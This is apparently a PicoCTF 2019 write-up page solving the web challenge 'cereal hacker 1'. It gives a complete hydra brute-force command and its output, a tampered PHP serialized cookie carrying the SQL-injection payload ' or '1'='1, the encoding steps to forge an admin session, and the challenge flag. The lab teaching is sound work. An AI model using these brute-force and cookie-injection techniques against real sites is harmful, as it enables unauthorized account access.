PicoCTF-2019 Writeup
  • HHousen PicoCTF-2019 Writeup
  • Binary Exploitation
    • L1im1tL355
    • messy-malloc
    • OverFlow 2
    • CanaRy
    • NewOverFlow-1
    • NewOverFlow-2
    • sice_cream
    • seed-sPRiNG
    • leap-frog
    • GoT
    • rop64
    • rop32
    • Ghost_Diary
    • zero_to_hero
    • Challenge Name
    • Heap overflow
    • slippery-shellcode
    • AfterLife
    • SecondLife
    • stringzz
  • Cryptography
    • la cifra de
    • b00tl3gRSA2
    • b00tl3gRSA3
    • AES-ABC
    • john_pollard
    • b00tl3gRSA2
    • waves over lambda
  • Forensics
    • What Lies Within
    • m00nwalk
    • shark on wire 1
    • shark on wire 2
    • Glory of the Garden
    • pastaAAA
    • Investigative Reversing 0
    • Investigative Reversing 1
    • extensions
    • investigation_encoded_1
    • Investigative Reversing 2
    • investigation_encoded_2
    • Investigative Reversing 3
    • like1000
    • Investigative Reversing 4
    • WebNet0
    • B1g_Mac
    • m00nwalk 2
    • WebNet1
    • WhitePages
    • So Meta
    • c0rrupt
  • Web Exploitation
    • Java Script Kiddie 2
    • Empire1
    • Empire2
    • cereal hacker 1
    • Empire3
    • cereal hacker 2
    • Java Script Kiddie
    • JaWT Scratchpad
    • Irish-Name-Repo 1
    • Irish-Name-Repo 2
    • Irish-Name-Repo 3
  • Reverse Engineering
    • Time's Up, Again!
    • Forky
    • droids0
    • Challenge Name
    • droids1
    • droids2
    • droids3
    • reverse_cipher
    • droids4
    • B1ll_Gat35
    • Time's Up
    • Time's Up, For the Last Time!
    • asm1
    • asm2
    • asm3
    • asm4
  • Challenge Name
Powered by GitBook
On this page
  • Problem
  • Solution
  • Flag

Was this helpful?

Edit on Git
  1. Web Exploitation

cereal hacker 1

PreviousEmpire2NextEmpire3

Last updated 4 years ago

Was this helpful?

Problem

Login as admin. or

Solution

  1. Credential bruteforcing: The credentials can be found with hydra and the http[s]-{get|post}-form module. Module help can be printed with hydra http-post-form -U. This article about was somewhat helpful in this step. Final command:

     hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt -F 2019shell1.picoctf.com -s 49879 http-post-form "/index.php?file=login:user=^USER^&pass=^PASS^:Invalid Login"

    The user= and pass= are the post variables found from the debugging console in Firefox. See image below.

    Result:

     Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
    
     [INFORMATION] reading restore file ./hydra.restore
     [WARNING] options after -R are now honored (since v8.6)
     Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-05-31 22:10:14
     [DATA] max 16 tasks per 1 server, overall 16 tasks, 170000 login tries (l:17/p:10000), ~10625 tries per task
     [DATA] attacking http-post-form://2019shell1.picoctf.com:49879/index.php?file=login:user=^USER^&pass=^PASS^:Invalid Login
     [STATUS] 4115.00 tries/min, 4115 tries in 00:01h, 165885 to do in 00:41h, 16 active
     [STATUS] 2981.33 tries/min, 8944 tries in 00:03h, 161056 to do in 00:55h, 16 active
     [STATUS] 2691.71 tries/min, 18842 tries in 00:07h, 151158 to do in 00:57h, 16 active
     [49879][http-post-form] host: 2019shell1.picoctf.com   login: guest   password: guest
     [STATUS] attack finished for 2019shell1.picoctf.com (valid pair found)
     1 of 1 target successfully completed, 1 valid password found
     Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-05-31 22:23:17
  2. Login as guest:guest.

  3. Get cookie

  4. URL and Base64Decode:

    • Option 1: Use to decode the cookie twice then use to decode what you get from to get: O:11:"permissions":2:{s:8:"username";s:5:"guest";s:8:"password";s:5:"guest";}

    • Option 2: Use with this recipe: [{"op":"URL Decode","args":[]},{"op":"URL Decode","args":[]},{"op":"From Base64","args":["A-Za-z0-9+/=",true]}].

  5. Change that result to O:11:"permissions":2:{s:8:"username";s:5:"admin";s:8:"password";s:11:"' or '1'='1";} (s:11 and not s:5 because the number corresponds to the length of the string which is PHP standard)

  6. Encoding

    • Option 1: Encode using to get TzoxMToicGVybWlzc2lvbnMiOjI6e3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6MTE6Iicgb3IgJzEnPScxIjt9. If there are equal signs after the cookie is base64 encoded then run the base64 encoded string through twice.

    • Option 2: Use with this recipe: [{"op":"To Base64","args":["A-Za-z0-9+/="]},{"op":"URL Encode","args":[true]},{"op":"URL Encode","args":[true]}].

  7. Set cookie to new cookie

  8. Change URL to file=admin

  9. You got the flag

Flag

picoCTF{0d040919669d2bc1501212f90450eb4c}

https://2019shell1.picoctf.com/problem/49879/
http://2019shell1.picoctf.com:49879
Website
using hydra on a web-based login page
URLdecoder
base64decoder
URLdecoder
CyberChef
base64encode
URLencoder
CyberChef
Image of networking tab in Firefox showing form parameters